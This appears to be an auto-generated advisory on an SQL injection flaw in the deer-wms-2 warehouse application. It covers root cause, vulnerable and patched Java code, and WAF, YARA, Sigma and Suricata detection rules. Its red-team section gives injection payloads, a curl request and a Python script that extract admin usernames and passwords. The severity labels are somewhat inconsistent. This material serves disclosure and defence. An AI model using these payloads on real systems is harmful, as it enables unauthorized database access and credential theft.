CVE-2025-8124

Executive Summary

CVE-2025-8124 is a critical SQL injection vulnerability discovered in the deerwms deer-wms-2 application, affecting versions up to and including 3.3. The vulnerability resides in the /system/role/authUser/unallocatedList endpoint, where the params[dataScope] argument is improperly sanitized before being used in a SQL query. This allows an authenticated remote attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or deletion. The exploit has been publicly disclosed, increasing the risk of active exploitation. The vendor has released a patch, and immediate upgrade is strongly recommended.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required for exploitation.
• Privileges Required: Low (PR:L) – An attacker needs a valid user account with low privileges.
• User Interaction: None (UI:N) – No user interaction is required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Successful exploitation can lead to full database disclosure.
• Integrity Impact: Low (I:L) – Some data modification may be possible.
• Availability Impact: Low (A:L) – Limited denial of service may be achievable.

Threat Level: High. The public availability of exploit details and the low complexity of the attack make this a significant threat to unpatched systems.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection flaw in the deer-wms-2 application. The endpoint /system/role/authUser/unallocatedList is used to list users who are not yet allocated to a specific role. The application takes the params[dataScope] parameter from the HTTP request and directly concatenates it into a SQL query without proper sanitization or parameterization.

Technical Flow:

1. An authenticated user sends a GET or POST request to /system/role/authUser/unallocatedList with a crafted params[dataScope] parameter.
2. The application constructs a SQL query similar to: SELECT * FROM users WHERE role_id = ? AND data_scope = ' + params[dataScope] + '.
3. Because the input is not sanitized, an attacker can inject SQL commands by providing a value like ' OR '1'='1.
4. The resulting query becomes: SELECT * FROM users WHERE role_id = ? AND data_scope = '' OR '1'='1', which returns all users in the database.
5. The attacker can then extract sensitive information, modify data, or potentially execute more complex SQL commands.

Root Cause: The lack of prepared statements or parameterized queries in the data access layer. The application directly interpolates user input into SQL strings.

Vulnerable vs. Patched Code

Vulnerable Code (Example in Java/Spring):

// Vulnerable: Direct string concatenation
String sql = "SELECT * FROM users WHERE role_id = " + roleId + " AND data_scope = '" + params.get("dataScope") + "'";
List<User> users = jdbcTemplate.query(sql, new UserRowMapper());

Patched Code (Example):

// Patched: Using parameterized query
String sql = "SELECT * FROM users WHERE role_id = ? AND data_scope = ?";
List<User> users = jdbcTemplate.query(sql, new Object[]{roleId, params.get("dataScope")}, new UserRowMapper());

The patched version uses a PreparedStatement or equivalent parameterized query, which ensures that user input is treated as data, not as executable SQL code.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A valid low-privilege user account on the target deer-wms-2 instance.
• Network access to the application.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   GET /system/role/authUser/unallocatedList HTTP/1.1
   Host: target.com
   Cookie: JSESSIONID=valid_session_id
   

2. Craft the malicious payload: The params[dataScope] parameter is vulnerable. A simple test payload:

   params[dataScope]=test' OR '1'='1
   

3. Send the exploit request:

   curl -X GET "http://target.com/system/role/authUser/unallocatedList?params[dataScope]=test'%20OR%20'1'='1" \
     -H "Cookie: JSESSIONID=valid_session_id"
   

4. Extract data: Use UNION-based SQL injection to extract data from other tables.

   params[dataScope]=test' UNION SELECT username, password, NULL FROM users--
   

Example Python Exploit Script:

import requests

target = "http://target.com/system/role/authUser/unallocatedList"
cookies = {"JSESSIONID": "valid_session_id"}

# Test for SQL injection
payload = "test' OR '1'='1"
params = {"params[dataScope]": payload}
response = requests.get(target, params=params, cookies=cookies)
print(response.text)

# Extract admin credentials
payload = "' UNION SELECT username, password, NULL FROM users WHERE role='admin'--"
params = {"params[dataScope]": payload}
response = requests.get(target, params=params, cookies=cookies)
print(response.text)

Blue Team (Defensive)

Detection and Prevention:

1. Web Application Firewall (WAF) Rules:

   • Block requests containing SQL injection patterns in the params[dataScope] parameter.
   • Example ModSecurity rule:

     SecRule ARGS:params[dataScope] "@detectSQLi" "id:1001,phase:2,deny,status:403,msg:'SQL Injection Attempt'"
     

2. Input Validation:

   • Implement strict input validation on the server side. Only allow alphanumeric characters and specific safe characters.
   • Example Java validation:

     if (!params.get("dataScope").matches("[a-zA-Z0-9_]+")) {
         throw new IllegalArgumentException("Invalid input");
     }
     

3. Database Hardening:

   • Use the principle of least privilege for the database user account used by the application.
   • Enable database audit logging to detect suspicious queries.

4. Network Segmentation:

   • Isolate the application server from direct internet access if possible.
   • Use a reverse proxy to filter malicious traffic.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /system/role/authUser/unallocatedList with unusual params[dataScope] values containing SQL keywords (e.g., OR, UNION, SELECT, --).
• Anomalous database queries originating from the application server, especially those with UNION or OR 1=1 patterns.

File IOCs:

• Modified application log files showing SQL errors or injection attempts.
• Unexpected files in the application directory (e.g., web shells).

System IOCs:

• Unusual database connections from the application server to the database server.
• High CPU or memory usage on the database server due to resource-intensive queries.

Detection Engineering

YARA Rule

rule CVE_2025_8124_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-8124"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8124"
    strings:
        $sqli1 = "params[dataScope]="
        $sqli2 = "OR '1'='1"
        $sqli3 = "UNION SELECT"
        $sqli4 = "OR 1=1"
    condition:
        any of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: CVE-2025-8124 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against the deer-wms-2 application
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "params[dataScope]="
            - "OR '1'='1"
            - "UNION SELECT"
            - "OR 1=1"
    condition: selection
falsepositives:
    - Legitimate use of the parameter with safe values
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-8124 SQL Injection Attempt"; flow:to_server; content:"/system/role/authUser/unallocatedList"; http_uri; content:"params[dataScope]="; http_uri; pcre:"/(OR\s+['\"]?1['\"]?\s*=\s*['\"]?1|UNION\s+SELECT)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Apply the vendor's patch by upgrading deer-wms-2 to the latest version (3.3.1 or higher).
2. Workaround: If immediate upgrade is not possible, implement a WAF rule to block SQL injection patterns in the params[dataScope] parameter.
3. Input Validation: Add server-side input validation to only allow safe characters.

Long-Term Measures:

1. Secure Coding Practices: Use parameterized queries or prepared statements for all database interactions.
2. Regular Security Audits: Conduct code reviews and penetration testing to identify similar vulnerabilities.
3. Patch Management: Establish a process for timely application of security patches.
4. Monitoring: Implement logging and monitoring for suspicious database queries and HTTP requests.

Valters IT Signature: This report was generated by Valters IT DevSecOps & CTI Expert System.